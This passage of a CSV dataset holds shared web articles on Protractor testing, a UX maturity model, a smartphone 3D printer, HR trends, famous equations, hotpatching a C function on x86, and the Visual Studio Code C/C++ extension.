region's exchanges are ready to embrace Ethereum. Xu Qing, a spokesperson for Huobi, said it is interested in the technology developments but that it has no plans to add support for ether. Qing said: ""We still keep an open mind to outstanding [digital currencies]. Any new digital currency needs time for market validation and acceptance ranging from issuing mechanisms to market liquidity."" Asia image via Shutterstock",en
1459459372,CONTENT SHARED,-1662763254714212341,6003902177042843076,251315894146485705,,,,HTML,http://www.ng-newsletter.com/posts/practical-protractor.html,Practical End-to-End Testing with Protractor,"One of the reasons AngularJS is so great to work with is that it was developed around the idea that testing is so important that it should be built into the framework. Every check-in of the Angular source is tested before it's accepted into the core. Testing is incredibly important, especially in a dynamically typed environment like JavaScript. It gives us the opportunity to catch errors before they happen in production. Testing code allows us to be confident about the production value of our code. As bugs in our code, or any code, are inevitable, it's important for us to be able to determine where they are and try to eliminate them before they show up in production. Using testing, we can isolate these pieces of functionality in a test environment where we can understand our app from the inside out. Testing is essential if we are to understand what is happening in our app. In this article, we're examining how to test our application using end-to-end testing. End-to-end testing is black box testing. We are testing that the system works as planned from an end user's perspective. An end user doesn't care if a service works as planned; he or she cares that the functionality of our app works as expected. We can think of it as a way to automate starting the app in our browser and clicking through the workflow of the application. It would be inefficient for us to click through the application manually, so we'll script our tests to happen automatically. Protractor The new , preferred end-to-end testing framework is called Protractor. Unlike the Angular scenario runner, Protractor is built on Selenium's WebDriver , which is an API, written as extensions, for controlling browsers. WebDriver has extensions for all sorts of different browsers, including the most popular. We gain speed and stability in our tests by developing against true web browsers. Luckily, Protractor is built atop the Jasmine framework, so we don't need to learn a new framework in order to use it. We can also install it as a standalone test runner or embed it in our tests as a library. Installation Unlike the Angular scenario runner, Protractor requires a separate standalone server to be running at (we can configure this location). Luckily, Protractor itself comes with a tool that eases the installation of a Selenium server. In order to access the script, we'll need to install Protractor locally in the top-level directory of the Angular app we want to test. Then we can run the Selenium installation script, located in the local node_modules/ directory: This script downloads the files required to run Selenium itself and build a start script and a directory with them. When this script is finished, we can start the standalone version of Selenium with the Chrome driver by executing the start script: If you are having trouble running your Selenium installation, try updating the ChromeDriver by downloading the latest version here . Now we can use Protractor to connect to our Selenium server, which is running in the background. Configuration Like Karma, Protractor itself requires a configuration script that tells Protractor how to run, how to connect to Selenium, etc. The easiest method for creating a configuration file for Protractor is to copy a reference configuration file from the installation directory. In order to get Protractor running, we need to make a few modifications to the script. First, the default configuration script uses a Chrome driver that doesn't exist in our current directory. Instead, we need to point it to the ChromeDriver in the local ./node_modules . Next, we need to point the specs array to our local tests. There are quite a few options for setting up our tests using Protractor. Although we'll cover a few here, keep in mind that we have a lot of options in configuring Protractor. We have two options for running Protractor tests, the first of which is to use Protractor to start Selenium when we run our Protractor tests. This option is called standalone mode. The example Protractor configuration file that we copied includes this setup. The second method for running Protractor tests is to connect to a separately running Selenium server. When our tests start to grow more complex, we'll likely want to run our tests using a separate Selenium server. Testing When we start testing with Protractor, we set up our tests to work through Jasmine. That is, we simply start writing our tests like we do when we write our Karma tests. For instance, a simple Protractor test setup might look like: To actually implement tests, we'll use the same expect() syntax that Jasmine gives us. Writing tests for Protractor requires us to work with a few global variables that Protractor exposes to us in our tests. The following is a list of a few of those global variables: browser The browser variable is a wrapper around the WebDriver instance. We use the browser variable for any navigation or for grabbing any information off the page. We can use the browser variable to navigate to a page using the get() function: To kick this test off with the node debugger, we can run the test in debug mode: We get benefits when we run Protractor in debug mode: The execution halts in the browser, and every client-side script provided by Protractor is available in the console. To get access to the Protractor client-side scripts, we can call them with the window.clientSideScripts object that's inserted by Protractor. Let's Test! Although it's easy to talk about how to use Protractor, it's not always clear how to get it going. As we always try to share the highest-quality material available on Angular, we're going to dive right into testing an application and strategies. Our Application Let's suppose we have an application that provides an alternative view for viewing GitHub issues. The simple app itself has only a few major features: It allows the user to input a repo owner and URL through an input box It has a main page and an about page It lists the issues, one by one, with a user's Gravatar The final app we're building looks like this: With any application, we can strategize about the tests that we want to write. We may end up writing a hundred tests for an incredibly simple app OR we might end up writing very few. Finding the right balance between the two will give us an advantage when it comes time to implement both the application and the tests. Strategy for Testing We've found that the best balance between writing tests and writing code pretty much exists in knowing what to test just as much as how to test. Whenever we're writing tests for our code, we want to be writing tests that specifically address the behavior we are implementing. That is, we don't need to write a test to make sure an <h1> tag's content changes as we type into an <input> field. We do need to test our custom filtering for live search, for instance. We've found that writing our tests ahead of time when prototyping never works out in our favor. When we're in the prototyping phase, we'll write very few tests, if any at all, as we're still working through features of our application. When the application starts to grow, however, writing tests is always a good idea to ensure that the app behaves as we expect it to behave in production. Finally, we'll want to set up our tests such that each block tests as little as possible. Ideally, each test block should contain no more than 1 expectation. Enough theory, let's apply some strategy to testing our app. We'll want to test that our page updates with the title of the new repo against which we're testing. The Angular app employs a custom service that makes an $http request to github.com . This request comes back, and we fill the rest of the front page. Second, we'll want to test that the page navigation and content change. This test will involve us pressing the navigation buttons in our view to prompt a $location change. Let's get started! Setting Up Our First Tests Our Protractor configuration file is pretty simple and nearly unmodified from the example configuration that comes with Protractor itself: We'll be writing our Protractor tests in the test/e2e directory, as we specified in our configuration file with the naming convention of [name].spec.js . Let's create our first test in the test/e2e directory called main.spec.js . As Protractor tests are simply Jasmine tests, we'll start out with a simple Jasmine stub: As with end-to-end tests, we need to have a server running against which our end-to-end tests run. Instead of pointing our tests to the full URL every time we want to test a page, we can set the baseUrl in our Protractor configuration file. For the rest of the section, we'll assume that we have the option set in our config file like so: Our first test will simply test that the main page loads up: We can test that an element exists on the page. Since our home page contains the ID #home , we can write an expectation to guarantee the condition. Once we have the element, we can set an expectation that the element is present on the page using the Protractor instance's method isElementPresent() : To run our tests, we need to launch a Selenium server. Luckily, Protractor makes this process easy using a built-in tool called webdriver-manager . This manager is included by default (as we saw above). Let's start our webdriver-manager : In a new shell, we'll need to launch Protractor to actually run our tests. The protractor binary takes a single argument: the configuration file: Testing the Input Box First, we're setting our sights on testing the input box. The main page loads a single form with a single input box that is only shown if the user has not yet picked a repo in which to search issues. The <input type=""text""> is bound to a model called repoName . Once the user has submitted the form, then the form itself disappears and the list of issues appears instead. The HTML looks like: The functionality that we're interested in testing is that the form disappears and the listing appears. In a new test, we'll want to target the <input> element and write into it. We can do so with the sendKeys() method on our targeted element. To target our <input> element, we can use the by.input() method that gives us access to find input elements containing a binding with ng-model . When we run this test, we'll see that the <input> field is filled out. There will be no expectations set up as we haven't yet written one, but we can see the input filling up with angular/angular.js . At this point, we only need to set up an expectation that the repoform element no longer exists on the page (as we're hiding it with ng-if ). We can use the same method we did above to confirm it is no longer on the page: Testing the Listing After we've set up our tests that set up the <input> element, we can move on and test the functionality of our listing page. The describe block will simply act as a user coming to our homepage and typing in the input field and pressing enter. It might seem superfluous to set up our tests in the manner, but remember that the goal of end-to-end testing is to automate user interaction. The listing page will have a number of elements that we'll iterate over using ng-repeat . Using the GitHub APi, we'll retrieve 30 issues by default. We can test that this page does in fact resolve to 30 issues. We can target the ng-repeat element by using the by.repeater() helper. This helper looks at the ng-repeat directives on the page and finds the one that matches our expression. In this case, we're repeating using the Angular expression d in data | orderBy:created_at:false . We can target the repeater using: We have the option of being explicit with the filters (as we have done above) or leaving off the filters and being more generic: With our element targeted, we can simply ask for a count on the element.all() object and set an expectation that there will be 30 elements: Great. Let's dive more deeply into these repeated elements and ensure that the avatar is shown for each of them. We can make a reasonable assumption that the each element is a repeat of every other element, so we'll set up a test that tests a single element. Since the list is not yet populated on the page, the first() method returns a promise that will be resolved with the first element on the page. Since we're interested in only a single child element, we'll use the findElement() method to fetch the <img> element. We can target this element by multiple methods. We'll use the by.tagName() method. As with the first() method, findElement() returns a promise for the very same reason. We're particularly interested in making sure the src attribute includes a Gravatar URL. We can dive even more deeply into the details of the element using various methods provided by the element object. In this case, we'll use the getAttribute() method to find the src attribute. As with the previous two methods, we'll need to set it up as a promise: Now that we have the src attribute, we can set up an expectation that the source matches gravatar.com , as GitHub uses Gravatar: Testing Routing The last piece of functionality we'll want to test is the page navigation. As expected, we'll set up our tests using actions on elements of the page. In this case, we'll target the /about link using CSS and click on the link. The HTML looks like: The /about link is the second element in the header.nav list. The quickest method to target the list is to use a CSS selector through the by.css() method. Now that we have the link, we can click on it to navigate to the new URL. Once we've navigated to the /about page, we can test that the page content shows up, or we can test that the current route contains the /about path. Since we can reasonably expect the Angular router to work, we can assume the about page content will load if the browser's URL matches the about page. Therefore, we'll simply test that the current URL includes /about . We can get hold of the current URL using the Protractor instance method getCurrentUrl() : Finally, since we're testing the front end, we can also expect that the active class will be added to the link. The active class adds the color style on the button. We'll want to run the same action we did previously where we click on the /about link. Any time that we find ourselves duplicating test data, it's usually a good idea to nest the tests in their own describe block and move the duplication into the block. Let's go ahead and move our tests into the describe block: The final test tests whether the class list contains the string active : Want More? Protractor is a highly active project on GitHub and an incredibly powerful end-to-end testing framework. It will soon replace Karma as the official end-to-end test runner and become the official testing framework for Angular. The testing source code is available at . If you enjoyed this section, check out ng-book.com for more details. Thanks, and happy testing! Get the weekly email all focused on AngularJS. Sign up below to receive the weekly email and exclusive content. We will never send you spam and it's a cinch to unsubscribe. If you are having trouble running your Selenium installation, try updating the ChromeDriver by downloading the latest version here . It allows the user to input a repo owner and URL through an input box It has a main page and an about page It lists the issues, one by one, with a user's Gravatar Let's get started! As with end-to-end tests, we need to have a server running against which our end-to-end tests run. The HTML looks like: The HTML looks like: The active class adds the color style on the button. Thanks, and happy testing! We will never send you spam and it's a cinch to unsubscribe.",en
1459467851,CONTENT SHARED,-8349788035147634450,-1032019229384696495,-4690277498179936282,,,,HTML,http://uxmag.com/articles/how-mature-is-your-organization-when-it-comes-to-ux,How Mature is Your Organization when it Comes to UX?,"Every organization has its own goals, processes, techniques, and teams-each with special characteristics. They are all important to consider when incorporating user experience, but it's also crucial to gauge the maturity level of an organization. Last year my company, Keikendo , presented a model to identify the maturity level of user experience within an organization . The product of over 10 years of shared experience in organizations of different sizes and types across markets, we call it the Keikendo Maturity Model. What we're looking for are barriers to the adoption of user experience within an organization, and the model describes 20 barriers clustered on five levels: It is possible that the 20 barriers do not cover all situations in all organizations, but they do address the most common barriers that occur at each level. Let's have a look at the five levels and the best tools for working through them. 1. Unintentional For organizations at this level, user experience isn´t treated proactively but emerges as a consequence of certain business goals and IT constraints. The most common barriers here are ignorance and rejection: there are no resources with knowledge of user experience or they do not have intentions of incorporating it because they think it isn´t worth it. Tools for advancement: Training, formal (courses, events, etc.) or informal (internal presentations, lectures, etc.). 2. Self-Referencial At this level, organizations design products as if their users think and act just like they do. Users are fictional and often idealized, and they don´t really participate in the design process. UX can begin to be part of the organization´s public communications but, in general, it's no more than a slogan. The common barriers at this level are budget, time, and resource constraints. Tools for advancement: User testing is the most powerful tool for overcoming resistance at this level. While observing real people using a product or interface , preconceptions begin to crumble and it's possible to discover where and why they are failing. 3. Expert At this level there emerges one person or a small team within the organization focused on user experience. It's possible that some user tests have been done but they are rare and not methodologically strict. The common barriers at this level are formalization, expansion, and deepening of the process. The UX technique that has been implemented can not be a consistent part of the design process. On the other hand, it is difficult to replicate it in other projects and even incorporate other complementary techniques. Tools for advancement: Quantification of user testing to measure results and compare projects where UX techniques were applied to those where they were not. 4. Centralized Organizations that are at this level have a user experience team consisting of at least three roles: interaction design , information architecture , and usability . Several UX techniques are applied and user testing is a consistent part of the design process. The common barriers are issues are related to UX team scalability. The value of UX has increased and different departments within the organization ask for more resources and better skills, but it is difficult for the UX team to meet these demands; generally because UX is still an internal service instead of a strategic area with its own budget. Tools for advancement: At this level is very important that UX metrics are linked to KPIs (Key Performance Indicators) to expose the impact that UX provides. 5. Distributed User Experience is at the same level as Marketing or Finance. UX is part of the organizational culture and participates in the phases of discovery, design, and development for products and services. The common barriers here usually show up in the consolidation phase of UX as a strategic area within the organization. In general, barriers arise due to generational issues and the ignorance of senior executives, including the CEO. Tools for advancement: Show how User Experience improves ROI (Return On Investment). Gaining Maturity Maturity progresses one level at a time. If an organization has a UX environment that is Self-Referential, they won't be able to skip ahead to the Distributed level without moving through the levels in between, gaining skills and overcoming barriers. Because each level requires the integration of knowledge, skills, specific profiles, and changes to internal processes, the process can last for years. To achieve higher levels of maturity two important things must change within an organization: Changing organizational goals involves incorporating new variables into the economic and financial business equation by putting the focus on users. As the product and service development cycle changes, an organization begins to think about the design of products with users in the center of the process, actively involving them from discovery and research phases, through design, development, and support. The organization understands that users are the most important variable to achieving their business goals. The organization understands that users are the most important variable to achieving business goals Altering the balance of power requires changes that affect all organization levels, particularly middle management and directors including the CEO. These changes also require the participation of users in the decision-making process, which can limit management's control. In organizations that are strongly self-centered in the CEO, CTO, or any other person this can be difficult and will require gradual changes that need to be consistently supported by positive results. The Keikendo Maturity Model provides a way to map an organization's maturity level and to build an action plan to better incorporate user experience in order to improve business results. You can find out where your company or organization sits on the spectrum by taking the test online . Image of nesting doll courtesy Shutterstock.",en
1459477159,CONTENT SHARED,5269583152423890030,1623838599684589103,-7260403543439490449,,,,HTML,http://www.tecmundo.com.br/kickstarter/103077-sabia-voce-transformar-celular-impressora-3d.htm,Sabia que você pode transformar o seu celular em uma impressora 3D?,"O futuro fica cada vez mais lindo quando encontramos iniciativas como esta. Em financiamento no Kickstarter , o OLO simplesmente permite que você transforme o seu smartphone em uma impressora 3D. Exato, não há qualquer pegadinha aqui: você vai imprimir formas físicas por meio do seu celular. A impressão acontece da seguinte maneira: com um aparato apropriado (OLO), a luz que emana da tela de um smartphone acaba formando criações plásticas. Esse aparato possui um reservatório de 400 cm cúbicos, 100 gramas de resina fotopolímera e uma tampa mecanizada para separar as áreas. Com um aplicativo para Android, iOS e Windows Phone , o OLO se encaixa no celular como um Cardboard, por exemplo. Ele utiliza as mesmas funções de uma impressora de projeção digital de luz (DLP) - normalmente, os projetores de luz são grandes e caros nessas soluções; aqui, o emissor é a tela do smartphone. Batizado de ""resina de luz do dia"", o líquido presente no OLO se solidifica por meio da luz branca. Assim, ""você pode criar objetos duros, flexíveis, fundíveis ou elásticos"", diz a página da OLO no Kickstarter. Ainda faltam 19 dias para o financiamento do OLO terminar . Contudo, a meta de US$ 80 mil (R$ 287 mil) já foi batida, e a equipe responsável já alcançou US$ 1,6 milhão (R$ 5,7 milhões). Para comprar o OLO, basta pagar cerca de R$ 355. Vale a pena ter uma impressora 3D em casa? Comente no Fórum do TecMundo",pt
1459483194,CONTENT SHARED,-2271868873349907631,-8606085472606356565,2271052856071090978,,,,HTML,http://recruitingdaily.com/believe-hype-five-talent-trends-every-recruiting-hr-pro-needs-know/,Building A Better Workforce: 5 Talent Trends Worth Watching,"As we take a look forward at what's new and what's next in recruiting and HR, it's becoming increasingly clear that companies are putting more of an emphasis behind the business of people than ever before. HR is shifting from being seen as a largely burdensome administrative function into a critical core competency that's becoming inexorably intertwined with big picture strategy and bottom line impact. Now, more than ever, it's essential for employers to take a step back and take stock of what's working - and more importantly, what's not - when it comes to building a best-in-class HR function. The key to a cutting edge people function lies solely in whether or not HR can truly engage, enable and empower its employees. As a global HR leader, it's imparative to create people focused processes and procedures designed with the end user in mind. In this case, those end users are the top talent that's ultimately the critical differentiator when it comes to beating the competition today - and tomorrow. Building The Workforce of Tomorrow: 5 Things Every HR and Recruiting Pro Should Know Today. Already in 2016, we've seen some major talent trends emerge as HR professionals continue to evolve more staid, traditional practices to keep up with the breakneck speed of business. Whether by intent or accident, organizations are starting to realize that in the new world of work, they can no longer rely on what's always worked. In my most recent Recruiting Daily post , I took a closer look at the HR trends every talent professional should care about in 2016 (and beyond). Having already identified the top 3 trends in HR practitioners should actually care about, I felt it apropos to turn my focus on exactly what those same leaders can do to make sure they're ready to meet those key trends hands on over the months and years to come. Here are 5 key considerations for building a successful people strategy that's able to survive - and thrive - in today's world of work. 5. Age Is Actually More Than A Number. By now you're probably well familiar with the shifting demographics of generations at work , but the fact is, this is one perpetual trending topic that's actually worth believing the hype. Major changes to the composition of the workforce have already forced many employers to make some major changes in the way the HR function functions. In many geographies, in markets all around the world, we're already starting to see what's been called a ""silver tsunami"" as the first waves of retiring Baby Boomers begin breaking, replaced by a veritable flood of younger workers, commonly referred to as ""Gen Y"" or ""Millennial"" workers. While HR has spent years discussing (and dreading) the implications of this changing of the guard, the fact is, it's already effectively happened. In fact, by 2020, fully half of the global workforce will be comprised of workers born between 1982-2000. This is significant because this requires organizations to continually realign and redefine the way that they meet the expectations of candidates and employees alike. It's important for employers to rethink their value propositions so that your mission, vision and values accurately align with (and positively impact) the changing face of your workforce. In the proverbial war for talent, the battle lines for attracting and keeping the best and brightest have been clearly drawn. Winning the hearts and minds of the emerging workforce increasingly requires organizations to proactively invest in creating and shaping a culture that best provides this segment of the workforce with what they really want in a job. Study after study suggests that this includes the license to ideate and innovate instead of stick to the same old script and the ability to operate with some level of autonomy while simultaneously building a career in organizations operate transparently and with a sense of purpose. If your culture can't cut it, it might be time to make some serious changes to ensure that you're able to become the sort of career destination more employees of choice choose more than your competition, no matter what generation they happen to be a part of. 4, Think People, Not Process. The enterprise of today will increasingly be tasked with delivering a highly personalized, highly individualized employment experience. The employee of the 21st century should be viewed, effectively, as a ""workforce of one."" The days where the worker put the needs of the group before their own are long gone, and businesses that can't successfully shift from meeting the needs of the collective to meeting those of the individual will collectively risk similar obsolescence. That's why it's imparative the premise of unified design in HR must inherently put people first, not policies, programs, platforms or processes. It sounds obvious, but historically, many HR professionals have forgotten that we're in the business of people. Therefore, it must be our business to deliver as much personalization to those people as possible. Every organization must address the critical question as to whether or not it makes sense to abandon automation for personalization, a strategic shift that requires companies to give up often significant investments made in often archaic, increasingly obsolete legacy systems, which by design largely aimed to industrialize and standardize service delivery, with limited options to differentiate. The changing mindset of the changing workforce increasingly means considering changing systems, replacing rigid on-premise platforms with much more flexible SaaS solutions which allow a much greater degree of individual configuration and employee personalization than traditional HR technologies. With more funding flooding this market than ever before, a significant number of early stage startups are emerging to finally meet some of the most critical capability gaps and fill some of the most gaping functional holes within the HR and recruiting functions. As new players emerge in the talent tech ecosystem, ones dedicated to building new functionalities and ways of working, it's becoming clear that we're seeing an unprecedented convergence. What we're seeing is the implementation and integration of new software, systems and strategies to deliver data driven insights that cut across disciplines as diverse as technology, marketing, sales, finance & cost management, psychology, sociology, anthropology and supplier or vendor management. It's a pretty exciting time to be in the business of people, but it can often times seem like a scary one, too. Companies across industries face the daunting task of balancing the need to modify their processes with the need to deliver real business results and real impact in real time, all the time. This firehose of data that the rapidly evolving landscape of HR Technology has enabled increasingly means it's up to HR leaders to deliver much more informed, much more diligent decisions about delivering the best level of employee service possible by selecting the technologies and partners that can best fit both your company culture and people processes. With more options than ever before, if you're not rethinking your approach to technology, you're in danger of losing out on the data you need to get the talent you want. And no one wants that. 3. HR Must Always Be On. Anytime, Anywhere. Most employers now recognize the need to evolve their policies, processes and programs to align with business models that better resonate with employees and other stakeholders who live their lives (and livelihoods) in a largely digital world, one where interactions mostly happen online instead of in person and where there's a premium placed on the immediate interaction over the interpersonal exchange. This mindset means that today's talent technologies must reflect a user-centered design that delivers an immersive, intuitive experience that's highly personalized and high touch. These new technologies are changing the way HR works by changing the way the work gets done, allowing employees to access and interact with HR anytime, anywhere. Across the entirety of the employment lifecycle, we are starting to see the changes made by utilizing digital technologies to enhance awareness and shared understanding, alignment and adoption of core organizational values, behaviors or opportunities. Digitizing the employee experience can also effectively capture, promote a culture and build an army of brand advocates around the shared internal values of proficiency, performance and passion - all while helping every worker work up to their true potential. From digital onboarding to mobile learning content, from real time social performance and career management feedback to automated 360 assessments to fully integrated relationship management tools, the future of HR technology is happening right now. 2. Balance HR by Better Engaging, Enabling And Empowering People. If you're going to effectively build the kind of company culture you want, you've first got to make sure there's alignment with the beliefs, intentions and actions that reflect your desired organizational culture. Delivering on the value proposition you promised to your people means building policies, processes and programs with the singular foundational principle that the Employee Always Comes First. This ""Employee First"" mentality is a critical first step in achieving a unified, cohesive company culture that's actually meaningful to the people immersed in it each and every day. To truly achieve an ""Employee First"" approach, organizations will need to shift their practices in the workplace from being led and influenced by executive management and senior leadership to one that's driven by the employees themselves, a bottoms up approach that can be embraced, and adopted, at the top instead of the other way around. This will require increased authenticity, flexibility and a willingness of senior leaders to engage in the open communication and dialogue that employees today want and need to succeed. Management must invert the proverbial pyramid so that leaders see their role as enablers, not inhibitors, and realize that their own success will increasingly be defined by the individual employee experience, instead of the collective or group outcome. Here are a few areas of HR that are already feeling these fundamental changes as 2016 unfolds: Recruiting has evolved to be much more strategic, with talent acquisition being retooled, retrained and refocused to best capture the realities of a candidate driven market where new roles, new skills and new business requirements or responsibilities seem to be constantly emerging. Balancing the demand for talent with the increasingly finite supply is becoming one of the most critical skills for success when it comes to building and optimizing effective workforce operations. Performance management has evolved to reflect both individual and collective contributions, with an equal consideration being given to both personal and group outcomes when measuring or managing employee performance. The ability to provide real time feedback, coaching and communications with individual employees now allows leaders to make performance management a continuous, rather than periodic, process that's perceived to add value instead of being seen as simply an annual administrative burden. Career management will evolve along along with new technologies and work styles which put a premium on reskilling and retraining for better business alignment, particularly around the new roles and new skills that are constantly being created. This consistent shift in demand and supply will require more jobs to move to where talent is actually available, instead of requiring individuals relocate or move for jobs. Compensation looks set to finally increase after an extended period of wage stagnation; this increase will not only come in the form of increased salaries, but also total rewards packages that are variably linked with individual and collective performance. This rise in ""pay for play"" performance based outcomes should increasingly start to encroach on more traditional fixed salary models, with short and long term incentives alike better aligning with business needs and bottom line outcomes. Talent management has started to include both internal and external pipelines as part of the standard succession management process as more companies look to minimize the risks associated with turnover, particularly in mission critical positions. With deployment and development decisions being made in real time, all the time, we're already starting to see such strategies as cross training and work sharing emerge as ways organizations are increasing internal capabilities and ensuring continuity irrespective of individual contributors. 1. Increase Insight Through Integrated Decision Support. In today's increasingly complex world of work, the HR professional will somehow have to find clarity amidst this new complexity to make better decisions based on data instead of simply relying on policies and precedents. As delivering on the value proposition for today's workforce becomes more challenging, organizations of every size, in all industries, and across all markets must turn to evidence based insight as the primary driver of people strategies. This will require an investment in the ability of talent organizations to identify and report on key metrics, build out dashboards, model, manage and warehouse data, build business intelligence platforms and create actionable analytics that actually create business value. That's no small task. Building a data driven HR organization requires rethinking roles, functions, people and platforms to maintain maximum organizational health. It also necessitates increasing the ability to forecast how future hires may succeed, optimizing internal mobility and calculating the ROI on new and existing employees alike. The insights we get can help ensure that our efforts as HR leaders are positively impacting the employee experience and company culture, shifting HR from the prescriptive, reactive function of yesterday into the proactive, predictive partner of tomorrow. Because, like it or not, the workforce of the future is here today. About the Author: Prithvi Shergill is currently the Chief Human Resources Officer at HCL Technologies , one of the world's largest IT and engineering services firms, where he is responsible for overseeing a global workforce of 103,000 employees in 32 countries across HCL Technologies' multinational businesses. Prior to his current role, Prithvi served as a Partner in the human capital group at Accenture for eight years, and his career in HR leadership extends over three decades. Follow him on Twitter @ShergillPrithvi or connect with him on LinkedIn.",en
1459488116,CONTENT SHARED,3703141283586666995,-1032019229384696495,-7620380443494030257,,,,HTML,http://www.businessinsider.com/equations-that-changed-the-world-2016-3,The 17 equations that changed the world,"In 2012, Mathematician Ian Stewart came out with an excellent and deeply researched book titled "" In Pursuit of the Unknown: 17 Equations That Changed the World ."" His book takes a look at the most pivotal equations of all time, and puts them in a human, rather than technical context. ""Equations definitely can be dull, and they can seem complicated, but that's because they are often presented in a dull and complicated way,"" Stewart told Business Insider. ""I have an advantage over school math teachers: I'm not trying to show you how to do the sums yourself."" He explained that anyone can ""appreciate the beauty and importance of equations without knowing how to solve them ... The intention is to locate them in their cultural and human context, and pull back the veil on their hidden effects on history."" Stewart continued that ""equations are a vital part of our culture. The stories behind them - the people who discovered or invented them and the periods in which they lived - are fascinating."" Here are 17 equations that have changed the world: Max Nisen contributed to an earlier version of this post.",en
1459510545,CONTENT SHARED,-3974295763584921518,-2979881261169775358,-4587864279057862109,,,,HTML,http://nullprogram.com/blog/2016/03/31/,Hotpatching a C Function on x86,"nullprogram.com/blog/2016/03/31/ In this post I'm going to do a silly, but interesting, exercise that should never be done in any program that actually matters. I'm going write a program that changes one of its function definitions while it's actively running and using that function. Unlike last time , this won't involve shared libraries, but it will require x86_64 and GCC. Most of the time it will work with Clang, too, but it's missing an important compiler option that makes it stable. If you want to see it all up front, here's the full source: hotpatch.c Here's the function that I'm going to change: It's dead simple, but that's just for demonstration purposes. This will work with any function of arbitrary complexity. The definition will be changed to this: I was only going change the string, but I figured I should make it a little more interesting. Here's how it's going to work: I'm going to overwrite the beginning of the function with an unconditional jump that immediately moves control to the new definition of the function. It's vital that the function prototype does not change, since that would be a far more complex problem. But first there's some preparation to be done. The target needs to be augmented with some GCC function attributes to prepare it for its redefinition. As is, there are three possible problems that need to be dealt with: I want to hotpatch this function while it is being used by another thread without any synchronization. It may even be executing the function at the same time I clobber its first instructions with my jump. If it's in between these instructions, disaster will strike. The solution is the ms_hook_prologue function attribute. This tells GCC to put a hotpatch prologue on the function: a big, fat, 8-byte NOP that I can safely clobber. This idea originated in Microsoft's Win32 API, hence the ""ms"" in the name. The prologue NOP needs to be updated atomically. I can't let the other thread see a half-written instruction or, again, disaster. On x86, this means I have an alignment requirement. Since I'm overwriting an 8-byte instruction, I'm specifically going to need 8-byte alignment to get an atomic write. The solution is the aligned function attribute, ensuring the hotpatch prologue is properly aligned. The final problem is that it's very important this function is never inlined. I'll never be able to updated inlined copies of the function. As you might have guessed, this is fixed with the noinline function attribute. What does the function look like now? And what does the assembly look like? $ objdump -Mintel -d example 0000000000400848 <hello>: 400848: 48 8d a4 24 00 00 00 lea rsp,[rsp+0x0] 40084f: 00 400850: bf d4 09 40 00 mov edi,0x4009d4 400855: e9 06 fe ff ff jmp 400660 <puts@plt> It's 8-byte aligned and it has the 8-byte NOP: that lea instruction does nothing. It copies rsp into itself and changes no flags. Why not 8 1-byte NOPs? I need to replace exactly one instruction with exactly one other instruction. I can't have another thread in between those NOPs. Hotpatching Next, let's take a look at the function that will perform the hotpatch. I've written a generic patching function for this purpose. This part is entirely specific to x86. It takes the address of the function to be patched and the address of the function to replace it. As mentioned, the target must be 8-byte aligned (enforced by the assert). It's also important this function is only called by one thread at a time. If that was a concern, I'd wrap it in a mutex to create a critical section. There are a number of things going on here, so let's go through them one at a time: Make the function writeable The .text segment will not be writeable by default. This is for both security and safety. Before I can hotpatch the function I need to make the function writeable. To make the function writeable, I need to make its page writable. To make it's page writeable I need to call mprotect() . If there was another thread monkeying with the page attributes of this page at the same time (another thread calling hotpatch() ) I'd be in trouble. It finds the page by rounding the target address down to the nearest 4096, the assumed page size (sorry hagepages). Warning : I'm being a bad programmer and not checking the result of mprotect() . If it fails, the program will crash and burn. What if the function straddles pages? Well, I'm only patching the first 8 bytes, which, thanks to alignment, will sit entirely inside the page I just found. It's not an issue. At the end of the function, I mprotect() the page back to non-writeable. Create the instruction I'm assuming the replacement function is within 2GB of the original in virtual memory, so I'll use a 32-bit relative jmp instruction. There's no 64-bit relative jump, and I only have 8 bytes to work within anyway. Looking that up in the Intel manual , I see this: Fortunately it's a really simple instruction. It's opcode 0xE9 and it's followed immediately by the 32-bit displacement. The instruction is 5 bytes wide. To compute the relative jump, I take the difference between the functions, minus 5. Why the 5? The jump address is computed from the position after the jump instruction and, as I said, it's 5 bytes wide. I put 0xE9 in a byte array, followed by the little endian displacement. The astute may notice that the displacement is signed (it can go ""up"" or ""down"") and I used an unsigned integer. That's because it will overflow nicely to the right value and make those shifts clean. Finally, the instruction byte array I just computed is written over the hotpatch NOP as a single, atomic, 64-bit store. *(uint64_t *)target = instruction.value; Other threads will see either the NOP or the jump, nothing in between. There's no synchronization, so other threads may continue to execute the NOP for a brief moment even through I've clobbered it, but that's fine. Trying it out Here's what my test program looks like: I fire off the other thread to keep it pinging at hello() . In the main thread, it waits until I hit enter to give the program input, after which it calls hotpatch() and changes the function called by the ""worker"" thread. I've now changed the behavior of the worker thread without its knowledge. In a more practical situation, this could be used to update parts of a running program without restarting or even synchronizing.",en
1459513743,CONTENT SHARED,-327208414896292296,8414731042150985013,4543899740167763020,,,,HTML,https://blogs.msdn.microsoft.com/vcblog/2016/03/31/cc-extension-for-visual-studio-code/,C/C++ extension for Visual Studio Code,"Today is an exciting day for all of us on the C++ team here at Microsoft! We love that we offer the great development experience C and C++ developers enjoy in Visual Studio on Windows, but at the same time we realize that some of you, for your own reasons, have chosen Linux or OS/X as your primary development platform, so you cannot utilize Visual Studio for your development needs. Today we are announcing a Preview of a product for your C/C++ editing and debugging needs on Linux and OS/X: the C/C++ extension to Visual Studio Code . For those of you who are not aware of Visual Studio Code, Visual Studio Code is a new choice of tool in the Visual Studio family of products which combines the simplicity of a code editor with what developers need for their code-edit-debug cycle. The current Visual Studio Code experience only provides basic syntax highlighting support via the C/C++ text made bundle, this preview version of the C/C++ extension introduces a better language service experience with support for code-navigation and the ability to debug C/C++ applications but given this is a preview release there are a few caveats to this experience! In the rest of this post I will assume that you have downloaded and configured Visual Studio Code , and also the preview of the C/C++ extension that we are announcing here. I will walk you through the editing experience, the debugging experience, and options for compiling/building your code. I will close by sharing some useful links on how to report issues, make requests, and in general how to give us feedback on our current plans. Using the C/C++ code-editing aids in Visual Studio Code As soon as a folder containing C/C++ sources is loaded into Visual Studio Code the language service engine kicks in and the tag-parser starts parsing the source directory generating an offline database to store symbol information (browse.VC.db file). Look for the C_Cpp:Parsing notification on the Visual Studio Code status bar. Once the symbol data base population is complete (C_Cpp:Ready notification) you are ready to try out the preview experience of the language services portion of this extension. The preview experience for the language service experience currently introduces support for code navigation through the following feature set. Navigate to a particular symbol within the same source file (Cntrl + P, @Symbol Name) Navigate to a particular symbol across source files (Cntrl + P, #Symbol Name) Go to definition (F12) Peek definition (Alt + F12) Given that this is indeed a preview experience there are a few caveats. While Go to definition and Peek definition will work for most part it's currently not wired up to work for locals. This is primarily because the tag-parser currently does not parse function bodies. 